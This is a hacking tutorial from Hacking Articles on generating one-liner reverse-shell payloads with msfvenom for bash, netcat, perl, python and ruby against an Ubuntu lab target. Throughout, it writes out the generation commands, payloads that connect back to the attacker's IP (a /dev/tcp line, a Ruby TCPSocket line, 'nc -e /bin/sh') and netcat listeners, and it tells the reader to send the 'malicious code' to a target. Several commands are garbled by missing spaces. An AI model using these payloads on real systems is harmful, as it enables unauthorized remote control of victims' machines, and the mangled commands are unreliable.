Generating Reverse Shell using Msfvenom (One Liner Payload)

Hello friends!! Today you will learn how to spawn a TTY reverse shell through netcat by using single line payload which is also known as stagers exploit that comes in metasploit.

Basically there are two types of terminal TTYs and PTs. TTYs are Linux/Unix shell which is hardwired terminal on a serial connection connected to mouse or keyboard and PTs is suedo tty terminal, to get the copy of terminals on network connections via SSH or telnet.

Let’s start!!

Attacker: Kali Linux

Target: Ubuntu

Open the terminal in your kali Linux and type msfconsole to load metasploit framework, now search all one-liner payloads for UNIX system using search command as given below, it will dump all exploit that can be used to compromise any UNIX system.

search cmd/unix

From given below image you can observed that it has dump all exploit that can be used to compromised any UNIX system. In this tutorial we are going to use some of payloads to spawn a TTY shell.

Bash Shell

In order to compromise a bash shell you can use reverse_bash payload along msfvenom as given in below command.

1

msfvenom-pcmd/unix/reverse_bash lhost=192.168.1.103lport=1111R

Here we had entered following detail to generate one-liner raw payload.

-p : type of payload you are using i.e. cmd/unix/reverse_bash

lhost: listening IP address i.e. Kali Linux IP

lport: Listening port number i.e. 1111 (any random port number which is not utilized by other services)

R: Its stand for raw payload

As shown in below image, the size of generated payload is 67 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTy shell.

For example when target will open

1

0<&121-;exec121<>/dev/tcp/192.168.1.103/1111;sh<&121>&1212>&121>

malicious code in terminal, attacker will get reverse shell through netcat.

1

nc-lvp1111

As you can observe the result from given below image where attacker has successfully accomplish targets system TTY shell, now he can do whatever he wish to do.

For example:

whoami: it tells you are root user of the system you have compromised.

Netcat Shell

In order to compromise a netcat shell you can use reverse_netcat payload along msfvenom as given in below command.

1

msfvenom-pcmd/unix/reverse_netcat lhost=192.168.1.103lport=2222R

Here we had entered following detail to generate one-liner raw payload.

-p : type of payload you are using i.e. cmd/unix/reverse_netcat

lhost: listening IP address i.e. Kali Linux IP

lport: Listening port number i.e. 2222 (any random port number which is not utilized by other services)

R: Its stand for raw payload

As shown in below image, the size of generated payload is 104 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.

malicious code in terminal, attacker will get reverse shell through netcat.

nc -lvp 2222

As you can observe the result from given below image where attacker has successfully accomplish targets system TTY shell.

Perl shell

In order to compromise a perl shell you can use reverse_perl payload along msfvenom as given in below command.

1

msfvenom-pcmd/unix/reverse_perl lhost=192.168.1.103lport=3333R

Here we had entered following detail to generate one-liner raw payload.

-p : type of payload you are using i.e. cmd/unix/reverse_perl

lhost: listening IP address i.e. Kali Linux IP

lport: Listening port number i.e. 3333 (any random port number which is not utilized by other services)

R: Its stand for raw payload

As shown in below image, the size of generated payload is 232 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.

Now again when target will open malicious code in terminal, attacker will get reverse shell through netcat.

nc -lvp 3333

As you can observe the result from given below image where attacker has successfully accomplish targets system TTY shell. Here we found target IP address: 192.168.1.1106 by executing ifconfig command in his TTY shell.

Python Shell

In order to compromise a python shell you can use reverse_Python payload along msfvenom as given in below command.

1

msfvenom-pcmd/unix/reverse_python lhost=192.168.1.103lport=4444R

Here we had entered following detail to generate one-liner raw payload.

-p : type of payload you are using i.e. cmd/unix/reverse_python

lhost: listening IP address i.e. Kali Linux IP

lport: Listening port number i.e. 4444 (any random port number which is not utilized by other services)

R: Its stand for raw payload

As shown in below image, the size of generated payload is 533 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.

Again when the target will open the following malicious code in his terminal, attacker will get reverse shell through netcat.

nc -lvp 4444

As you can observe the result from given below image where attacker has successfully accomplish targets system TTY shell, now he can do whatever he wish to do.

For example:

ifconfig: it tells IP configuration of the system you have compromised.

Ruby Shell

In order to compromise a ruby shell you can use reverse_ruby payload along msfvenom as given in below command.

1

msfvenom-pcmd/unix/reverse_ruby lhost=192.168.1.103lport=5555R

Here we had entered following detail to generate one-liner raw payload.

-p : type of payload you are using i.e. cmd/unix/reverse_ruby

lhost: listening IP address i.e. Kali Linux IP

lport: Listening port number i.e. 5555 (any random port number which is not utilized by other services)

R: Its stand for raw payload

As shown in below image, the size of generated payload is 131 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.

Again when the target will open (ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“192.168.1.103″,”5555″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’) malicious code in his terminal, attacker will get reverse shell through netcat.

nc -lvp 5555

As you can observe the result from given below image where attacker has successfully accomplish targets system TTY shell, now he can do whatever he wish to do.

For example:

ifconfig: it tells IP configuration of the system you have compromised.

Netcat Gaping (Traditional)

In order to compromise a command shell you can use reverse_netcat_gaping payload along msfvenom as given in below command.

Here we had entered following detail to generate one-liner raw payload.

-p : type of payload you are using i.e. cmd/unix/reverse_netcat_gaping

lhost: listening IP address i.e. Kali Linux IP

lport: Listening port number i.e. 6666 (any random port number which is not utilized by other services)

R: Its stand for raw payload

As shown in below image, the size of generated payload is 533 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.

In order to access bin/sh shell of target system for compromising TTY shell firslty we had access PTs termianl of target through SSH and then past the malicious code

1

nc192.168.1.1036666-e/bin/sh

1

nc-lvp6666

From given below image you can observe that we had successfully access TTy shell of target system.

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

Share this:

Like this:

LikeLoading...

ABOUT THE AUTHOR

Raj Chandel

Raj Chandel is a Skilled and Passionate IT Professional especially in IT-Hacking Industry. At present other than his name he can also be called as An Ethical Hacker, A Cyber Security Expert, A Penetration Tester. With years of quality Experience in IT and software industry